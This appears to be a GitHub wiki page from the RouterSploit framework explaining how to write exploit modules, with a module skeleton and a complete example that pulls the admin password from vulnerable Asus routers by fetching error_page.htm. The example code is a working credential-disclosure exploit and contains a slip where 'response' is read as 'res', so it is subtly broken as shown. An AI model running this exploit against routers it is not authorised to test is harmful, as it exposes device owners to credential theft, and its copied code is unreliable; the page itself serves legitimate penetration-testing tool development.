Skip to content
Marcin Bury edited this page May 1, 2016 · 13 revisions

Creating exploit module

Exploits modules are located under following path:

routersploit/modules/exploits/

They are categorized by vendors: asus, cisco, dlink etc. Every vendor directory should contain empty "__init__.py" file. If you would like to create new exploit, it should be located at:

routersploit/modules/exploits/<vendor>/<model_vulnerability>

Simple example:

routersploit/modules/exploits/comtrend/ct_5361t_password_disclosure.py

Exploit skeleton

from routersploit import (
    exploits,
    sanitize_url,
    print_error,
    print_success,
    print_status,
    print_table,
)

class Exploit(exploits.Exploit):
    """
    Simple description
    """
    __info__ = {
        'name': 'Exploit Name',
        'description': 'Short Description',
        'authors': [
             'Author', # routesploit module
        ],
        'references': [
             'Address URL',
        ],
        'devices': [
            'Vulnerable devices',
        ],
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
    port = exploits.Option(80, 'Target port') # default port

    def run(self):
        """
        Method run on "exploit" or "run" command (both works the same way). It should result in exploiting target.
        """


    def check(self):
        """
        Method that verifies if the target is vulnerable. It should not write anything on stdout and stderr.
        """

        return True

Import all important classes and functions used by the exploit:

from routersploit import (
    exploits,
    sanitize_url,
    print_error,
    print_success,
    print_status,
    print_table,
    http_request,
    mute,
)

Exploit module in fact is class named "Exploit" that inherits from "exploits.Exploit". This way, all interface commands are automatically supported.

class Exploit(exploits.Exploit):

Information about the module:

__info__ = {
        'name': 'Exploit Name',
        'description': 'Short Description',
        'authors': [
             'Author', # routesploit module
        ],
        'references': [
             'Address URL',
        ],
        'devices': [
            'Vulnerable devices'
        ],
    }

Variable __info__ contains all meta information about the exploit. They are displayed on "show info" command and used only for descriptive purposes. The only mandatory info variable is "name" - it is displayed when the exploit is used

rsf (Asmax AR1004G Password Disclosure) > 

The rest of variables are optional but it is good to provide them as well:

  • description - Exploit description in 1-2 sentences.
  • authors - It can single value or array of values. It is nice to provide person responsible for vulnerability discovery and routersploit module author.
  • references - All links that are related to the vulnerability or exploit.
  • devices - List of devices vulnerable to the exploit.

Options:

target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port

Every module contains options that can be set through interface with "set" command (e.g. set target http://192.168.1.1). Variables are accessible by internal methods through self statement:

  • self.target
  • self.port

Run method:

def run(self):
    """
    Method run on "exploit" or "run" command (both works the same way). It should result in exploiting target.
    """

Exploit's run method is executed when "run" or "exploit" command is issued. This is the code where entire exploitation takes place but you can create additional methods used by the "run" method and access them through self statement - e.g. self.execute(). It most cases it is pure python exploit but some functions provided by the routersploit framework can be useful:

  • sanitize_url(string url) - Adds http:// protocol if it was not provided by the user.
  • print_status(string), print_success(string), print_error(string), print_info(string) - Print string in nice colourful way.
  • print_table(headers - tuple, records - tuple,...) - Prints table with provided headers and records. Headers and records are tuple values e.g. ("Login", "Password")

Check method:

@mute
def check(self):
    """
    Method that verifies if the target is vulnerable. It should not write anything on stdout and stderr.
    """

    return True

Exploit's check method is responsible for verifying if the target is vulnerable to the particular exploit. It should not print anything on stdout or stderr thus @mute decorator should be applied. It should return values:

  • True - if the target is vulnerable
  • False - if the target is not vulnerable
  • None - if it was not possible to verify if target is vulnerable. It is often returned when the service or host is down.

Example exploit

import re

from routersploit import (
    exploits,
    sanitize_url,
    print_error,
    print_success,
    print_table,
    http_request,
    mute,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Asus RT-N16 Password Disclosure vulnerability.
    If the target is vulnerable it allows to read credentials for administrator."
    """
    __info__ = {
        'name': 'Asus RT-N16 Password Disclosure',
        'description': 'Module exploits password disclosure vulnerability in Asus RT-N16 devices that allows to fetch credentials for the device.',
        'authors': [
            'Harry Sintonen', # vulnerability discovery
            'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
        ],
        'references': [
            'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
        ],
        'devices': [
            'ASUS RT-N10U, firmware 3.0.0.4.374_168',
            'ASUS RT-N56U, firmware 3.0.0.4.374_979',
            'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
            'ASUS RT-AC66U, firmware 3.0.0.4.374_2050',
            'ASUS RT-N15U, firmware 3.0.0.4.374_16',
            'ASUS RT-N53, firmware 3.0.0.4.374_311',
        ],
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
    port = exploits.Option(8080, 'Target port') # default port

    def run(self):
        url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))

        response = http_request(method="GET", url=url)
        if response is None:
            return

        creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res)
        
        if creds:
            c = [("admin", creds[0])]
            print_success("Credentials found!")
            headers = ("Login", "Password")
            print_table(headers, *c)
        else:
            print_error("Credentials could not be found")


    def check(self):
        url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))

        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res)
        if creds:
            return True  # target vulnerable

        return False  # target not vulnerable

Importing modules

Additional modules used by the exploit can be imported:

import re

from routersploit import (
    exploits,
    sanitize_url,
    print_error,
    print_success,
    print_table,
    http_request,
    mute,
)

Info

__info__ = {
        'name': 'Asus RT-N16 Password Disclosure',
        'description': 'Module exploits password disclosure vulnerability in Asus RT-N16 devices that allows to fetch credentials for the device.',
        'authors': [
            'Harry Sintonen', # vulnerability discovery
            'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
        ],
        'references': [
            'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
        ],
        'devices': [
            'ASUS RT-N10U, firmware 3.0.0.4.374_168',
            'ASUS RT-N56U, firmware 3.0.0.4.374_979',
            'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
            'ASUS RT-AC66U, firmware 3.0.0.4.374_2050',
            'ASUS RT-N15U, firmware 3.0.0.4.374_16',
            'ASUS RT-N53, firmware 3.0.0.4.374_311',
        ],
    }

Options

Options can be registered by exploits.Option method:

target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(8080, 'Target port') # default port

It takes two parameters. The first is default value, the second one is description. After "show options" command:

rsf (Asus RT-N16 Password Disclosure) > show options

Target options:

   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port       8080                 Target port                                

It is also possible to register additional options through exploit.Option method.

Exploit's run method

  1. Code responsible for building url and downloading error_page.htm resource:
def run(self):
    url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))

    response = http_request(method="GET", url=url)
    if response is None:
        return

Response is located at res variable.

  1. Looking for password in response using regular expression:
creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res)
  1. If credentials are found they are displayed through print_table function:
if creds:
    c = [("admin", creds[0])]
    print_success("Credentials found!")
    headers = ("Login", "Password")
    print_table(headers, *c)
else:
    print_error("Credentials could not be found")

Exploit's check method

  1. Code responsible for building url and downloading error_page.htm resource.
@mute
def check(self):
    url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))

    response = http_request(method="GET", url=url)
    if response is None:
        return False  # target is not vulnerable
  1. Looking for password in response using regular expression:
creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res)
  1. If credentials are found True value is returned (target vulnerable) otherwise False is returned (target not vulnerable)
if creds:
    return True  # target vulnerable

return False  # target not vulnerable

Clone this wiki locally